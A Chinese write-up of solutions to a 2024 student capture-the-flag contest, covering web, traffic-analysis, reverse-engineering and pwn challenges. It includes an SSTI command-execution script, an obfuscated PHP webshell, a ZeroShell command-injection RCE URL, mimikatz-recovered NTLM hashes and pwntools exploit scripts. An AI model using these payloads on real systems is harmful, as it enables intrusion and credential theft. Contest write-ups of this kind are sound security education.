2024年第十八届全国大学生信息安全竞赛(长城杯)WP

最终总榜 33

web 题这次只能说一言难尽吧

1 WEB

1.1 Safe_Proxy

不太明白那个 socket 的代理具体是做什么的,可能技术不够吧,最后另辟蹊径,通过判断 post 请求下,SSTI 的回显数据来判断有没有这个类

最后发现在 subclasses 类下的 133 位置可以到 popen ,绕过用字符串拼接就可以,但是好像不出网,就用覆盖 app.py 的方式看执行的内容

最后脚本

import requests
r = requests.post("http://47.93.188.77:32910/", data={
    "code": """{{""['_''_class_''_']['_''_bases_''_'][0]['_''_subclasses_''_']()[133]['_''_init_''_']['_''_globals_''_']['pop''en']('cat /flag>app.py').read()}}"""
})
if 'ok' in r.text:
    print(
        requests.get('http://47.93.188.77:32910/').text
    )

1.2 hello_web

进去有个 file 参数,这个一看就是任意文件读取,但是好像读取有限制,最后测试发现 ..././ 可以成功读到上级目录

读取后发现 tips.phpphpinfo 页面,hackme.php 是一个混淆内容

下载到本地解混淆,修改成这样,直接看数据

<?php

highlight_file(__FILE__);
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
$YwzIst .= $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";echo('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
echo ($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));


?> PD9waHAgQGV2YWwoJF9QT1NUWydjbWRfNjYuOTknXSk7ID8+Cg==

base64 解密后就是命令执行

<?php @eval($_POST['cmd_66.99']); ?>

这个绕过用 cmd[66.99 即可

但是在蚁剑连接后,有 ret=127 拒绝,才发现 phpinfo 中禁止了一些函数,没法执行,用蚁剑插件来绕过

最后用命令找到 flag

find / -name flag;
cat /run/log/78dc830da302d4c30d5f33be499c8992/flag;

2 威胁检测与网络流量分析

2.1 zeroshell_1

用工具 ctfNetA 一把梭,匹配到关键 base64 参数,直接解密就是 flag

2.2 zeroshell_2

本地部署后,用通杀洞直接 rce 即可

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A(cat%20/Database/flag)%0A%27

2.3 zeroshell_3

题目提示 受控机防火墙 ,发现在 /Database 文件夹中存在 .nginx 文件,通过脚本下载

import requests

r = requests.get("http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A(cat%20/Database/.nginx)%0A%27")

with open("nginx.pem", "wb") as f:
    f.write(r.content)

下载后发现是 elf 文件,用 ida 进行分析

查看字符串发现一个 ip 地址,就是反连地址

flag{202.115.89.103}

2.4 zeroshell_4

上一题下载的 .nginx 文件就是

flag{.nginx}

2.5 zeroshell_5

idaip 的下方,有一个看着很像 key 的字符串

/posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP\image-20241215170243947.png

尝试提交发现正确

flag{11223344qweasdzxc}

2.6 WinFT_1

在定时任务中找到一个名为 flvupdate.exe 的程序,使用沙箱分析发现是木马程序,并对外做了连接,连接域名为 miscsecure.com

然后通过虚拟机中的火绒剑分析 flvupdate.exe 程序的网络行为,发现其会连接 192.168.116.130:443 地址,所以最终 flag 拼接即可

flag{miscsecure.com:192.168.116.130:443}

2.7 WinFT_2

在任务计划的 DriverUpdates 计划中存在计划描述

/posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP\image-20241215170736425.png

base64 解密后就是 flag

2.8 WinFT_5

在恶意流量包中,发现 client 字段的请求的响应内容存在压缩包特征,且有个对应的 server 请求,将两个请求进行拼接,可以得到一个完整的压缩包,但是存在密码

压缩包中存在注释,base64 解密后就是密码: 时间线关联非常重要

flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}

2.9 kiwi

看一下流量包,找响应码为 200 的流量,看一下响应内容有一串加密的字符串,掐头去尾 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image.png

ida启动看一下,很明显是 mimikatz /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-1.png

在下面的 sub_140082974 里找到了加密逻辑
先置一个算法生成的随机数种子,调试可得到是固定的 0x69 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-2.png

然后用循环每位先异或 seed,然后在加上随机数 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-3.png

最后这里是一个换表 base64 d+F3DwWj8tUckVGZb57S1XsLqfm0vnpeMEzQ2Bg/PTrohxluiJCRIYAyH6N4aKO9 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-4.png

cyberchef处理一下base64 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-5.png 最后写个解密解一下就好了

#include <stdio.h>
#include <stdlib.h>


int main()
{
    srand(0x69);
    unsigned char data[] = {0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d};
    for (size_t i = 0; i < sizeof(data); i++) {
        data[i] -= rand() % 128;
        data[i] = data[i] ^ 0x69;
    }
    printf("%s\n", data);
}
/*
User=Administrator
NTLM=
User=DefaultAccount
NTLM=
User=Guest
NTLM=
User=Lihua
NTLM=23d1e086b85cc18587bbc8c33adefe07   
User=WDAGUtilityAccount
NTLM=d3280b38985c05214dcc81b74dd98b4f
*/

最后到在线网站解一下 /posts/2024年第十八届全国大学生信息安全竞赛(长城杯)WP/image-6.png

3 Reverse

3.1 dump

把全字符作为参数,传入程序中,将程序返回的数据作为键,全字符数据作为值,写出以下脚本

import base64
b="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-={}[]"
a=bytes.fromhex("1e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b001c1d00000000000000000000000000000000000000000138390000")
f=base64.b64decode(b"IykeJDgOFSA3DgUgAA43Eh0PJAEBOQ==")
e=""
for i in f:
    e+=b[a.find(bytes([i]))]
print(e);

3.2 ezCsky

ida 无法分析程序,但通过程序中残留的符号可以知道程序进行了一次 rc4 和一次 xor 在程序 rodata 段可以发现字符串数据与密文数据,在附近可以发现疑似rc4key的字符串 "testkey"

对密文进行 rc4 解密得到

0a 0d 06 1c 1f 54 56 53 57 51 00 03 1d 14 58 56 03 19 1c 00 54 03 4b 14 58 07 02 49 4c 02 07 01 51 0c 08 00 01 00 03 00 4f 7d

看到解密之后的数据结尾为 0x7d} 将字符串开头异或flag0a 0d 06 1c^flag 得到lag{ 所以猜测xor加密就是将flag[i]^flag[i+1] 根据猜测写脚本

a=[10, 13, 6, 28, 31, 84, 86, 83, 87, 81, 0, 3, 29, 20, 88, 86, 3, 25, 28, 0, 84, 3, 75, 20, 88, 7, 2, 73, 76, 2, 7, 1, 81, 12, 8, 0, 1, 0, 3, 0, 79, 125]
for i in range(len(a)-2,-1,-1):
    a[i]=a[i]^a[i+1]
"""
flag{d0f5b330-9a74-11ef-9afd-acde48001122}
"""

4 Pwn

4.1 anote

from pwn import *
backdoor=0x80489CE

#p=process("./note")
#pause()
p=remote("47.94.108.51","24633")
for i in range(9):
    p.sendlineafter('>>','1')

p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'index:',b'7')
p.readuntil('gift:')
d=int(p.readline(),16)
print(hex(d))
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'index:',b'7')
p.sendlineafter(b'len',b'40')
payload=p32(0x80489ce)+b'a'*0x10+b'abcd'+p32(d+8)

p.sendlineafter(b'content:',payload)
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'index:',b'8')
p.sendlineafter(b'len',b'3')
p.sendline('1')
p.interactive()

4.2 avm

code 内容如下

load r2,r1,0xd38
load r3,r1,0x320
add r3,r2,r3
load r4,r1,0x328
sub r4,r2,r4
load r5,r1,0x330
add r5,r4,r5
load r6,r1,0x338
add r6,r4,r6
load r7,r1,0x340
add r7,r4,r7

store r7,r1,0xd38
store r6,r1,0xd40
store r5,r1,0xd48
store r3,r1,0xd50

脚本如下

from pwn import *
signs=['add','sub','mul','div','xor','and','sal','sar','store','load']
def parsereg(arg):
    return int(arg[1:])

def parsevalue(arg):
    return int(arg,16)

def parsearg(arg1,arg2,arg3):
    status=0
    if (arg1[0]=='r'):
        arg1_v=parsereg(arg1)
    else:
        arg1_v=parsevalue(arg1)
    if (arg2[0]=='r'):
        arg2_v=parsereg(arg2)
    else:
        arg2_v=parsevalue(arg2)
    if arg3[0]!='r':
        arg3_v=parsevalue(arg3)
    else:
        arg3_v=parsereg(arg3)
    value=((arg1_v&0x1f))|((arg2_v&0x1f)<<5)
    value=value|(arg3_v<<16)
    return value&0xfffffff;


def compile(sign):
    if (sign.strip()==''):
        return b''
    op_sign=sign.split(' ')[0]
    arg=sign[sign.find(' ')+1:]
    print(arg.count(','))
    if arg.count(',')==2:
        arg1,arg2,arg3=arg.split(',')
    else:
        arg1,arg2=arg.split(',')
        arg3=None
    opcodenum=((signs.index(op_sign)+1)<<28)|parsearg(arg1,arg2,arg3)
    return p32(opcodenum)
d=open("code").read().splitlines()
payload=b''
for i in d:
    payload+=compile(i)

payload=payload.ljust(0x200,b'\x00')
payload+=p64(0x26fe0)+p64(0x29d90)+p64(0x1d8678)+p64(0x2a3e5)+p64(0x29139)
#p=process("./pwn")
p=remote('39.105.123.22','22545')
#gdb.attach(p,'bp $rebase(0x1AFB)')
pause()


p.sendafter('opcode: ',payload)
p.interactive()
0%